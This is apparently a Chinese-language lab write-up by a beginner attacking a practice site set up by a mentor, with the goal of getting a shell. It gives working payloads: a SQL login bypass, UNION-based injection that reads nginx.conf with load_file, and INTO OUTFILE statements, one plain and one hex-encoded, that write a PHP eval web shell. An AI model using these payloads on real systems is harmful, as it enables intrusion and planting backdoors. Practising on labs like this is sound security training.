前言
师傅搭建了一个简单的靶场,要求getshell,对于我一个小白来说,难免有点难度……那就慢慢来吧……
信息收集
虽然是个简单的靶场,不涉及
IP
|端口
一类的收集,但是还是要对网站进行一个大概的浏览....
- 判断其环境
- 中间件:nginx
- php
- 查找同款cms
- 前端js
- 前端css
- cms关键字
- 调用的路径
- 首页logo可能存在指向官网cms的超链接
- 后台前端内容
并没有自己需要的信息....
首页
首页发现可能有用的东西有:
- 后台管理
- 万能密码
- 文件上传
- 本站搜索
- xss(反射型)
- SQL查询注入
- 新闻传参
- SQL注入
- 留言板
- xss(存储型)
开始尝试
后台管理
信息收集
- 先尝试万能密码
payload:admin' or '1'='1
- 竟然成功了,继续收集有用的信息
- 用户添加
- 添加文章
- xss
- 文件上传
- 文章管理
- 搜索框
- xss
- SQL查询注入
- 文章编辑
- 文件上传
- xss
- 搜索框
- 文件管理
- 文件上传
尝试getshell
后台我并没有实现getshell,可能是我太菜叭
首页尝试SQL注入
查找注入点
- 随便点开一个新闻页面,很明显的传参,验证是否存在注入
尝试注入
- 很明显,存在整数型注入,尝试构造payload:
order by
- ok,一共15列,现在尝试看他有没有回显位,构造payload:
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
- 一个11,一个3
尝试getshell
别问我为什么不爆数据,因为咱们目的是
getshell
查找网站绝对路径
既然要getshell,当然第一步是查找网站根路径了~,最常规的姿势:
load_file()
,网站根路径是通过web中间件进行确定的,既然已经知道是nginx,那当然是读取nginx.conf
啦
- 构造payload:
http://192.236.147.191:9000/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,load_file(char(47,117,115,114,47,108,111,99,97,108,47,110,103,105,110,120,47,99,111,110,102,47,110,103,105,110,120,46,99,111,110,102)),12,13,14,15
这里看不方便,所以使用
grep
处理查看
尝试getshell
网站根路径已经知道了,尝试写进去呢?
- 构造写文件的payload
union select 1,2,3,4,5,6,7,8,9,10,"<?php eval($_POST['qqq']);?>",12,13,14,15 into outfile"/www/xxx.php"
- 成功写入~,看看文件是否正常呢?
- 没事,换hex写,payload:
http://192.236.147.191:9000/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,0x3C3F7068702065xxxxxxxx245F504F53545B27717171275D293B3F3E,12,13,14,15 into outfile"/www/xxx.php"
- 又写进去了,再看看正常吗?
发现,11没有了,猜测已经被解析,尝试连接shell
- 成功getshell